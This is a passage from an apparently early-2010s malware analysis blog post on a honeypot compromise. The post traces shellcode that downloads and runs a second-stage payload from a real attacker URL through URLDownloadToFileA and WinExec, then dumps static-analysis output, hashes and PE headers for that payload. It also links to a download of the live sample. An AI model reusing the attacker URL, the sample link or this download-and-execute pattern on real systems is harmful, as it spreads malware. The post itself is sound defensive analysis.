00 75 72 6C 6D 6F 6E 00 68 74 74 70 3A 2F 2F  e.urlmon.http:\/\/\n004800C5  6C 6F 67 2E 79 35 75 2E 69 6E 66 6F 3A 34 34 33  log.y5u.info:443\n004800D5  2F 69 6D 67 2E 6A 70 67                          \/img.jpg<\/pre>\n<ul>\n<li>l.exe <\/li>\n<li>urlmon <\/li>\n<li>http:\/\/log.y5u.info:443\/img.jpg <\/li>\n<\/ul>\n<p>Without analysing the code, we would suspect that it will use an API in urlmon.dll to download http:\/\/log.y5u.info:443\/img.jpg, rename it to l.exe, and execute it.&#160; This would be a typical staged attack deployed by a lot of malware.&#160; So let's find out if this is the case.&#160; <\/p>\n<blockquote>\n<p>When we reported the exe to Virustotal, only 12 engines discovered that something is &quot;wrong&quot; with the binary.&#160; We reported the file again a week later, and 29 out of the 43 engines detected it as malicious.&#160; The most commonly used keyword we saw in the virustotal report was &quot;Vilsel&quot;.&#160; On public forums and websites, this is classified as a low to medium risk trojan.&#160; So it looks like the techniques and level of complexity used in this piece of malware, is just &quot;standard behaviour&quot; nowadays.&#160; Kinda scary if you think about it.<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<p>I enabled 'break on new thread' in the debugger and set a breakpoint at 0x00480000, and eventually I could see the code getting called :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image16.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb16.png\" width=\"651\" height=\"323\" \/><\/a><\/p>\n<p>First, a kernel32.GetVersionA() call is performed (at 0x00480012). Then a pointer to &quot;urlmon&quot; is put in EAX and also stored on the stack. As expected, a call to kernel32.LoadLibraryA is performed :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image17.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb17.png\" width=\"656\" height=\"183\" \/><\/a><\/p>\n<p>As expected, after the urlmon module is loaded, the function pointer to urlmon.URLDownloadToFileA is retrieved (by the routine that starts at 0048004B)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image18.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb18.png\" width=\"648\" height=\"221\" \/><\/a><\/p>\n<p>Then, the stack and registers are set up to perform the URLDownloadToFileA() call : <\/p>\n<p>Stack :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0068FFA4   00000000  ....\n0068FFA8   004800BE  \u00be.H.  ASCII &quot;http:\/\/log.y5u.info:443\/img.jpg&quot;\n0068FFAC   004800B1  \u00b1.H.  ASCII &quot;l.exe&quot;\n0068FFB0   00000000  ....<\/pre>\n<p>The API call creates a new thread, where the file is downloaded and saved as l.exe, in the current working folder.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image21.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb21.png\" width=\"635\" height=\"392\" \/><\/a><\/p>\n<p>Then, the new executable gets executed using WinExec() :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image19.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb19.png\" width=\"649\" height=\"186\" \/><\/a><\/p>\n<p>and finally the current thread is terminated using ExitThread()<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image20.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb20.png\" width=\"649\" height=\"66\" \/><\/a><\/p>\n<p>We'll call the execution of l.exe &quot;stage 2&quot; from this point forward.<\/p>\n<p>So far so good, nothing special at this point.&#160; Time elapsed so far : a few seconds.<\/p>\n<p>Note : you can get a copy of l.exe here : http:\/\/redmine.corelan.be:8800\/attachments\/download\/177\/l.exe.&#160; This is the only file you need to reproduce the analysis below.<\/p>\n<h3>December 2nd, 2010 21:43:55 GMT+1 - stage 2 (l.exe)<\/h3>\n<p>A few seconds ago, our honeypot box was compromised, a new executable was downloaded and executed.&#160; What follows is the analysis of stage 2 of the compromise.<\/p>\n<p>The executable uses the following API imports :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00403000  GetProcAddress   KERNEL32\n00403004  GetModuleHandleA KERNEL32\n00403008  IsBadReadPtr     KERNEL32\n0040300C  GetStartupInfoA  KERNEL32\n00403014  strcpy           MSVCRT  \n00403018  _except_handler3 MSVCRT  \n0040301C  memset           MSVCRT  \n00403020  _exit            MSVCRT  \n00403024  _XcptFilter      MSVCRT  \n00403028  exit             MSVCRT  \n0040302C  _acmdln          MSVCRT  \n00403030  __getmainargs    MSVCRT  \n00403034  strcat           MSVCRT  \n00403038  __setusermatherr MSVCRT  \n0040303C  _adjust_fdiv     MSVCRT  \n00403040  __p__commode     MSVCRT  \n00403044  __p__fmode       MSVCRT  \n00403048  __set_app_type   MSVCRT  \n0040304C  _controlfp       MSVCRT  \n00403050  strlen           MSVCRT  \n00403054  memcpy           MSVCRT  \n00403058  malloc           MSVCRT  \n0040305C  _initterm        MSVCRT  \n00403060  free             MSVCRT  <\/pre>\n<p>So, unless it uses internal code to locate\/execute other API's, it doesn't seem to be doing a lot of harm by itself. On the other hand, it would raise a lot of suspicion if l.exe contained references to more dangerous functions right away.&#160; Let's see.<\/p>\n<p>Sys Analyzer reports this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image184.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb181.png\" width=\"581\" height=\"348\" \/><\/a><\/p>\n<blockquote>\n<p>Anti-Vmware2\u2026 interesting.&#160; Well, I'm not using vmware, so I should be good to go, right ? \ud83d\ude42 It might be false positive too. Anyways, since the malware appeared to be running fine on my virtual machine, I don't expect to see any vm detection routines that would prevent the malware from running. After all, this is 2011.&#160; We all are running production desktops and\/or servers on VM platforms\u2026 It would be silly to prevent malware from running on VM<\/p>\n<\/blockquote>\n<p>Beenu Arora's <a href=\"http:\/\/code.google.com\/p\/malwareanalyzer\/downloads\/list\">Malware Analyzer<\/a> tool reports this : (static analysis)<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">|---------------------------------------------------------------|\n| beenudel1986[@]gmail[dot]com                                  |\n| Malware Analyzer(Static) 2.7                                  |\n|   06\/2009      analyse_malware.py                             |\n|   Do Visit     www.BeenuArora.com                             |\n|   Last Updated :     28-11-2010                               |\n|---------------------------------------------------------------|\n\n Analysing <span style=\"color: #0000ff\">if<\/span> PE file...\n\n[+] Valid PE file.\n[+] Malware File Size : 51 KB\n\n Checking <span style=\"color: #0000ff\">for<\/span> Packer Signature....\n Identified packer :Microsoft Visual C++ v6.0\n\n[+] Computing Checksum <span style=\"color: #0000ff\">for<\/span> malware :l.exe\n[-]Checksum of malware :e5871adb818bad139af5549eedb6bf91\n\n-------- Identifying Strings in the malware---------------\n!This program cannot be run in DOS mode.\nRich\n.text\n`.rdata\n@.data\n.rsrc\nQSVW\n_^[Y\nSV3\nVWr(3\n$;&gt;\nI;&gt;t\n})S\n(I_^x\n;T$\n;T$\n\n-----------Performing signatures based scan---------------\n\n[+]Displaying Interesting System Calls Made.\n[-]Signatures not found.....\n\n[+]Displaying Registry Hives Edited.\n[-]Signatures not found.....\n\n[+]Displaying A Little Online Behaviour.\n[-]Signatures not found.....\n\n[+]Displaying the Loaded DLLs.\n[-]Signatures not found.....\n\n[+]Commands Inside the Malware.\n[-]Signatures not found.....\n\n[+]Sys Calls Made. \n[-]Signatures not found.....\n\n[+]Searching <span style=\"color: #0000ff\">if<\/span> malware is VM aware\n[-]Signatures not found.....\n\n---------------------------------------------------------\n!This program cannot be run in DOS mode.\nRich\n.text\n`.rdata\n@.data\n.rsrc\nQSVW\n_^[Y\nSV3\nVWr(3\n$;&gt;\nI;&gt;t\n})S\n(I_^x\n;T$\n;T$\n\nMalware loads following DLLs\n\nMSVCRT.dll\nKERNEL32.dll\n\n[-] Disaassembling the first block\n\n[0x40221cL] mov ebp esp \n[0x40221dL] push 0xff \n[0x40221fL] push 0x403088 \n[0x402221L] push 0x402210 \n[0x402226L] mov eax [fs:0x0] \n[0x40222bL] push eax \n[0x402231L] mov [fs:0x0] esp \n[0x402232L] sub esp 0x68 \n[0x402239L] push ebx \n[0x40223cL] push esi \n[0x40223dL] push r15d \n[0x40223eL] mov [bp-0x18] esp \n[0x40223fL] xor ebx ebx \n[0x402242L] mov [bp-0x4] ebx \n[0x402244L] push 0x2 \n[0x402247L] call [0x403048] \n[0x402249L] pop ecx \n[0x40224fL] or [0x4040e0] 0xff \n[0x402250L] or [0x4040e4] 0xff \n[0x402257L] call [0x403044] \n[0x40225eL] mov ecx [0x4040d4] \n[0x402264L] mov [ax] ecx \n[0x40226aL] call [0x403040] \n[0x40226cL] mov ecx [0x4040d0] \n[0x402272L] mov [ax] ecx \n[0x402278L] mov eax [0x40303c] \n[0x40227aL] mov eax [ax] \n[0x40227fL] mov [0x4040e8] eax \n[0x402281L] call 0x40239bL \n[0x402286L] cmp [0x404010] ebx \n[0x40228bL] jnz 0x40229fL \n[0x402291L] push 0x402398 \n[0x402293L] call [0x403038] \n[0x402298L] pop ecx \n[0x40229eL] call 0x402386L \n[0x40229fL] push 0x40400c \n[0x4022a4L] push 0x404008 \n[0x4022a9L] call 0x402380L \n[0x4022aeL] mov eax [0x4040cc] \n[0x4022b3L] mov [bp-0x6c] eax \n[0x4022b8L] lea eax [bp-0x6c] \n[0x4022bbL] push eax \n[0x4022beL] push [0x4040c8] \n[0x4022bfL] lea eax [bp-0x64] \n[0x4022c5L] push eax \n[0x4022c8L] lea eax [bp-0x70] \n[0x4022c9L] push eax \n[0x4022ccL] lea eax [bp-0x60] \n[0x4022cdL] push eax \n[0x4022d0L] call [0x403030] \n[0x4022d1L] push 0x404004 \n[0x4022d7L] push 0x404000 \n[0x4022dcL] call 0x402380L \n[0x4022e1L] add esp 0x24 \n[0x4022e6L] mov eax [0x40302c] \n[0x4022e9L] mov esi [ax] \n[0x4022eeL] mov [bp-0x74] esi \n[0x4022f0L] cmp [si] 0x22 \n[0x4022f3L] jnz 0x402332L \n[0x4022f6L] inc esi \n[0x4022f8L] mov [bp-0x74] esi \n[0x4022f9L] mov al [si] \n[0x4022fcL] cmp al bl \n[0x4022feL] jz 0x402306L \n[0x402300L] cmp al 0x22 \n[0x402302L] jnz 0x4022f8L \n[0x402304L] cmp [si] 0x22 \n[0x402306L] jnz 0x40230fL \n[0x402309L] inc esi \n[0x40230bL] mov [bp-0x74] esi \n[0x40230cL] mov al [si] \n[0x40230fL] cmp al bl \n[0x402311L] jz 0x402319L \n[0x402313L] cmp al 0x20 \n[0x402315L] jbe 0x40230bL \n[0x402317L] mov [bp-0x30] ebx \n[0x402319L] lea eax [bp-0x5c] \n[0x40231cL] push eax \n[0x40231fL] call [0x40300c] \n[0x402320L] test [bp-0x30] 0x1 \n[0x402326L] jz 0x40233dL \n[0x40232aL] movzx eax [bp-0x2c] \n[0x40232cL] jmp near 0x402340L \n[0x402330L] push eax \n[0x402340L] push esi \n[0x402341L] push ebx \n[0x402342L] push ebx \n[0x402343L] call [0x403004] \n[0x402344L] push eax \n[0x40234aL] call 0x401edfL \n[0x40234bL] mov [bp-0x68] eax \n[0x402350L] push eax \n[0x402353L] call [0x403028] \n[0x402354L] mov eax [bp-0x14] \n[0x40235aL] mov ecx [ax] \n[0x40235dL] mov ecx [cx] \n[0x40235fL] mov [bp-0x78] ecx \n[0x402361L] push eax \n[0x402364L] push ecx \n[0x402365L] call 0x40237aL \n[0x402366L] pop ecx \n[0x40236bL] pop ecx \n[0x40236cL] ret \n\n**This Test shall be performed when you are confirm that suspect is a malware**\n\n Anti Debugging traces identification\n  [!] Found a call at:  0x403000 GetProcAddress\n\n Malware File System Activity Traces\n  No Filesystem traces :( . Try manually\n\n Malware System Hook Calls \n  No System Hook Call traces found :( . Try manually\n\n Malware Keyboard Hook Calls \n  No Keyboard Hook Call traces found :( . Try manually\n\n Malware Rootkit traces \n  No Rootkit Hook traces found :( . Try manually\n\n DEP Setting Change trace \n  No DEP setting change trace found :( . Try manually\n\n DLL Injection trace \n  No DLL Injection trace found :( . Try manually\n\n Network Connection Traces\n  No Potential Network trace found :( . Try manually\n\n Privilage Escalation Potential Traces\n  No Privilage Escalation trace found :( . Try manually\n\n[+] Computing Checksum <span style=\"color: #0000ff\">for<\/span> malware :l.exe\n[-]Checksum of malware :e5871adb818bad139af5549eedb6bf91\n[+] Malware detected! [29\/43] (67.4%)\n  [*] Malware names:\n    Trojan\/Win32.Vilsel\n    TR\/Crypt.ZPACK.Gen\n    Trojan\/Win32.Vilsel.gen\n    Win32:Rootkit-gen\n    Win32:Rootkit-gen\n    Generic19.BXFQ\n    Trojan.Generic.5007190\n    Trojan.Vilsel.auoe\n    TrojWare.Win32.Trojan.Agent.Gen\n    Trojan.Inject.11207\n    Trojan.Win32.Vilsel!IK\n    Win32.TRCrypt.ZPACK\n    Trojan.Generic.5007190\n    W32\/Vilsel.AUOE!tr\n    Trojan.Generic.5007190\n    Trojan.Win32.Vilsel\n    Trojan\/Vilsel.pzv\n    Trojan\n    Trojan.Win32.Vilsel.auoe\n    Artemis!E5871ADB818B\n    Artemis!E5871ADB818B\n    W32\/Suspicious_Gen2.FPBSH\n    Trojan\/W32.Vilsel.51712.L\n    Trj\/CI.A\n    Trojan.Win32.Generic.523AA010\n    Trojan.Vilsel.auoe\n    Trojan.Win32.Generic!BT\n    Trojan.Vilsel!y3dOZ\/KZxxM\n\n[+] For more information you may visit: \nhttp:<span style=\"color: #008000\">\/\/www.virustotal.com\/file-scan\/report.html?id=<\/span>\ndab1de3dc0def76bbb09a9d9a2a3915c5f25bfc93cbf565a66a7cbb336fd134e-1294339231\n\n[!]Creating signatures of the various sections\n[!]Processing....\n[l.exe Section(1\/4,.text)]\nsignature = 51 53 56 57 89 74 24 0c 8b 74 24 0c 33 db 8d 7e 0c 57 ff 16 85 c0 75 \n0e 6a 0a ff 56 04 43 81 fb e8 03 00 00 7c eb 6a 00 ff 56 08 5f 5e 5b 59 c3 8b 4c \n24 04 d1 39 75 17 8b 41 1c 8b 51 10 0f be 14 02 40 89 51 18 89 41 1c c7 01 80 00 \n00 00 8b 41 18 23 01 f7 d8 1b c0 f7 d8 c3 56 8b 74 24 08 33 c0 57 6a\nep_only = false\nsection_start_only = true\n\n[l.exe Section(2\/4,.rdata)]\nsignature = 66 32 00 00 52 32 00 00 42 32 00 00 78 32 00 00 00 00 00 00 68 31 00 \n00 72 31 00 00 86 31 00 00 9c 31 00 00 a4 31 00 00 b2 31 00 00 ba 31 00 00 c4 31 \n00 00 5e 31 00 00 e0 31 00 00 f4 31 00 00 04 32 00 00 14 32 00 00 22 32 00 00 34 \n32 00 00 54 31 00 00 4a 31 00 00 40 31 00 00 d4 31 00 00 38 31 00 00\nep_only = false\nsection_start_only = true\n\n[l.exe Section(3\/4,.data)]\nsignature = 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 \n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nep_only = false\nsection_start_only = true\n\n[l.exe Section(4\/4,.rsrc)]\nsignature = 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 a0 00 00 80 20 00 00 \n80 02 00 00 00 38 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 \n00 00 50 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 68 \n00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 09 04 00 00\nep_only = false\nsection_start_only = true\n\n\nDone\n\n----------DOS_HEADER----------\n\n[IMAGE_DOS_HEADER]\ne_magic:                       0x5A4D    \ne_cblp:                        0x90      \ne_cp:                          0x3       \ne_crlc:                        0x0       \ne_cparhdr:                     0x4       \ne_minalloc:                    0x0       \ne_maxalloc:                    0xFFFF    \ne_ss:                          0x0       \ne_sp:                          0xB8      \ne_csum:                        0x0       \ne_ip:                          0x0       \ne_cs:                          0x0       \ne_lfarlc:                      0x40      \ne_ovno:                        0x0       \ne_res:                         \ne_oemid:                       0x0       \ne_oeminfo:                     0x0       \ne_res2:                        \ne_lfanew:                      0xF8      \n\n----------NT_HEADERS----------\n\n[IMAGE_NT_HEADERS]\nSignature:                     0x4550    \n\n----------FILE_HEADER----------\n\n[IMAGE_FILE_HEADER]\nMachine:                       0x14C     \nNumberOfSections:              0x4       \nTimeDateStamp:                 0x4C89D17F [Fri Sep 10 06:34:39 2010 UTC]\nPointerToSymbolTable:          0x0       \nNumberOfSymbols:               0x0       \nSizeOfOptionalHeader:          0xE0      \nCharacteristics:               0x10F     \nFlags: IMAGE_FILE_LOCAL_SYMS_STRIPPED, IMAGE_FILE_32BIT_MACHINE, \nIMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LINE_NUMS_STRIPPED, \nIMAGE_FILE_RELOCS_STRIPPED\n\n----------OPTIONAL_HEADER----------\n\n[IMAGE_OPTIONAL_HEADER]\nMagic:                         0x10B     \nMajorLinkerVersion:            0x7       \nMinorLinkerVersion:            0xA       \nSizeOfCode:                    0x1400    \nSizeOfInitializedData:         0xB200    \nSizeOfUninitializedData:       0x0       \nAddressOfEntryPoint:           0x221C    \nBaseOfCode:                    0x1000    \nBaseOfData:                    0x3000    \nImageBase:                     0x400000  \nSectionAlignment:              0x1000    \nFileAlignment:                 0x200     \nMajorOperatingSystemVersion:   0x4       \nMinorOperatingSystemVersion:   0x0       \nMajorImageVersion:             0x0       \nMinorImageVersion:             0x0       \nMajorSubsystemVersion:         0x4       \nMinorSubsystemVersion:         0x0       \nReserved1:                     0x0       \nSizeOfImage:                   0x10000   \nSizeOfHeaders:                 0x400     \nCheckSum:                      0x0       \nSubsystem:                     0x2       \nDllCharacteristics:            0x0       \nSizeOfStackReserve:            0x100000  \nSizeOfStackCommit:             0x1000    \nSizeOfHeapReserve:             0x100000  \nSizeOfHeapCommit:              0x1000    \nLoaderFlags:                   0x0       \nNumberOfRvaAndSizes:           0x10      \nDllCharacteristics: \n\n----------PE Sections----------\n\n[IMAGE_SECTION_HEADER]\nName:                          .text\nMisc:                          0x13F4    \nMisc_PhysicalAddress:          0x13F4    \nMisc_VirtualSize:              0x13F4    \nVirtualAddress:                0x1000    \nSizeOfRawData:                 0x1400    \nPointerToRawData:              0x400     \nPointerToRelocations:          0x0       \nPointerToLinenumbers:          0x0       \nNumberOfRelocations:           0x0       \nNumberOfLinenumbers:           0x0       \nCharacteristics:               0x60000020\nFlags: IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ\nEntropy: 6.204615 (Min=0.0, Max=8.0)\nMD5     hash: bfda5bd697813445265b021ff092b190\nSHA-1   hash: 173b6e830610269954c8644d20486eaba91d4edd\nSHA-256 hash: fd6473457dc54066784210a106ceb6493dbb8505b20e1522526d4d646eb880c0\nSHA-512 hash: b72ae8257a1f665b06c17d7db4529f898ef2f3ef39395bc34829953b776e536c\n3fe80a584d5732af53878f22c4a0b89d592f03a2d919b36b4d9122215d148b3c\n\n[IMAGE_SECTION_HEADER]\nName:                          .rdata\nMisc:                          0x298     \nMisc_PhysicalAddress:          0x298     \nMisc_VirtualSize:              0x298     \nVirtualAddress:                0x3000    \nSizeOfRawData:                 0x400     \nPointerToRawData:              0x1800    \nPointerToRelocations:          0x0       \nPointerToLinenumbers:          0x0       \nNumberOfRelocations:           0x0       \nNumberOfLinenumbers:           0x0       \nCharacteristics:               0x40000040\nFlags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ\nEntropy: 3.364436 (Min=0.0, Max=8.0)\nMD5     hash: 824c8a3510d93a78cdb8695922939741\nSHA-1   hash: d60002fa765f89076e7cd0c4310be0449ca5d02c\nSHA-256 hash: ab424791cb649a748237215a658252c0d9259f390ec97ac484c5944ab649bd16\nSHA-512 hash: 239f201a5784cd74c999910113a9ad8f969c8040a2c2ff36dc2b15644c72c364\n1c4c6df791d65642102d734b6586cfa6a95b1153c3f72cd6a07c5cbeccc3478f\n\n[IMAGE_SECTION_HEADER]\nName:                          .data\nMisc:                          0xEC      \nMisc_PhysicalAddress:          0xEC      \nMisc_VirtualSize:              0xEC      \nVirtualAddress:                0x4000    \nSizeOfRawData:                 0x200     \nPointerToRawData:              0x1C00    \nPointerToRelocations:          0x0       \nPointerToLinenumbers:          0x0       \nNumberOfRelocations:           0x0       \nNumberOfLinenumbers:           0x0       \nCharacteristics:               0xC0000040\nFlags: IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ\nEntropy: 0.020393 (Min=0.0, Max=8.0)\nMD5     hash: 598e1aae6ecbd8237c4383f4be94b9f1\nSHA-1   hash: ab4a6d7509b109b24572e011b0696647c7af25f0\nSHA-256 hash: f60983e21c9cca08114b490d798ca0c0435a6857fd6176a2da8222694af0e852\nSHA-512 hash: 0a74c867644d10bcfb2921fb7a69f0aeee69c519b655e5829d37904d0cc32b30\nddd3a545d02fa83571c2750952b55cc2d7dc2a3c18691ace0b4fc534bb278ac6\n\n[IMAGE_SECTION_HEADER]\nName:                          .rsrc\nMisc:                          0xABB0    \nMisc_PhysicalAddress:          0xABB0    \nMisc_VirtualSize:              0xABB0    \nVirtualAddress:                0x5000    \nSizeOfRawData:                 0xAC00    \nPointerToRawData:              0x1E00    \nPointerToRelocations:          0x0       \nPointerToLinenumbers:          0x0       \nNumberOfRelocations:           0x0       \nNumberOfLinenumbers:           0x0       \nCharacteristics:               0x40000040\nFlags: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ\nEntropy: 7.990610 (Min=0.0, Max=8.0)\nMD5     hash: 25fd8acca1c403ecd520139d1a86cb23\nSHA-1   hash: 7edd48c7c153987cb95f4696b1585e407038e5d7\nSHA-256 hash: 2f8d2a24c1fb63346402dc9783b87ee3f72f8f125b459dab9e74e4120986f000\nSHA-512 hash: 8271d44aaa437634976359020509c51d602d17cb793b4588c8c202fb90464d3d\ne1ab243ff0ce0bdb8f27100e1c5ba5d915de7d60c9b49b2f68743ab6eed7badb\n\n----------Directories----------\n\n[IMAGE_DIRECTORY_ENTRY_EXPORT]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_IMPORT]\nVirtualAddress:                0x3094    \nSize:                          0x3C      \n[IMAGE_DIRECTORY_ENTRY_RESOURCE]\nVirtualAddress:                0x5000    \nSize:                          0xABB0    \n[IMAGE_DIRECTORY_ENTRY_EXCEPTION]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_SECURITY]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_BASERELOC]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_DEBUG]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_COPYRIGHT]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_GLOBALPTR]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_TLS]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_IAT]\nVirtualAddress:                0x3000    \nSize:                          0x68      \n[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR]\nVirtualAddress:                0x0       \nSize:                          0x0       \n[IMAGE_DIRECTORY_ENTRY_RESERVED]\nVirtualAddress:                0x0       \nSize:                          0x0       \n\n----------Imported symbols----------\n\n[IMAGE_IMPORT_DESCRIPTOR]\nOriginalFirstThunk:            0x30E4    \nCharacteristics:               0x30E4    \nTimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]\nForwarderChain:                0x0       \nName:                          0x3190    \nFirstThunk:                    0x3014    \n\nMSVCRT.dll.<span style=\"color: #0000ff\">strcpy<\/span> Hint[698]\nMSVCRT.dll._except_handler3 Hint[202]\nMSVCRT.dll.memset Hint[665]\nMSVCRT.dll._exit Hint[211]\nMSVCRT.dll._XcptFilter Hint[72]\nMSVCRT.dll.<span style=\"color: #0000ff\">exit<\/span> Hint[585]\nMSVCRT.dll._acmdln Hint[143]\nMSVCRT.dll.__getmainargs Hint[88]\nMSVCRT.dll.strcat Hint[694]\nMSVCRT.dll.__setusermatherr Hint[131]\nMSVCRT.dll._adjust_fdiv Hint[157]\nMSVCRT.dll.__p__commode Hint[106]\nMSVCRT.dll.__p__fmode Hint[111]\nMSVCRT.dll.__set_app_type Hint[129]\nMSVCRT.dll._controlfp Hint[183]\nMSVCRT.dll.strlen Hint[702]\nMSVCRT.dll.memcpy Hint[663]\nMSVCRT.dll.<span style=\"color: #0000ff\">malloc<\/span> Hint[657]\nMSVCRT.dll._initterm Hint[271]\nMSVCRT.dll.<span style=\"color: #0000ff\">free<\/span> Hint[606]\n\n[IMAGE_IMPORT_DESCRIPTOR]\nOriginalFirstThunk:            0x30D0    \nCharacteristics:               0x30D0    \nTimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]\nForwarderChain:                0x0       \nName:                          0x328A    \nFirstThunk:                    0x3000    \n\nKERNEL32.dll.GetProcAddress Hint[408]\nKERNEL32.dll.GetModuleHandleA Hint[375]\nKERNEL32.dll.IsBadReadPtr Hint[553]\nKERNEL32.dll.GetStartupInfoA Hint[431]\n\n----------Resource directory----------\n\n[IMAGE_RESOURCE_DIRECTORY]\nCharacteristics:               0x0       \nTimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]\nMajorVersion:                  0x0       \nMinorVersion:                  0x0       \nNumberOfNamedEntries:          0x1       \nNumberOfIdEntries:             0x1       \n  Name: [RESBIN]\n  [IMAGE_RESOURCE_DIRECTORY_ENTRY]\n  Name:                          0x800000A0\n  OffsetToData:                  0x80000020\n    [IMAGE_RESOURCE_DIRECTORY]\n    Characteristics:               0x0       \n    TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]\n    MajorVersion:                  0x0       \n    MinorVersion:                  0x0       \n    NumberOfNamedEntries:          0x0       \n    NumberOfIdEntries:             0x1       \n      Id: [0x1]\n      [IMAGE_RESOURCE_DIRECTORY_ENTRY]\n      Name:                          0x1       \n      OffsetToData:                  0x80000050\n        [IMAGE_RESOURCE_DIRECTORY]\n        Characteristics:               0x0       \n        TimeDateStamp:                 0x0        [Thu Jan 01 00:00:00 1970 UTC]\n        MajorVersion:                  0x0       \n        MinorVersion:                  0x0       \n        NumberOfNamedEntries:          0x0       \n        NumberOfIdEntries:             0x1       \n          [IMAGE_RESOURCE_DIRECTORY_ENTRY]\n          Name:                          0x409     \n          OffsetToData:                  0x80      \n            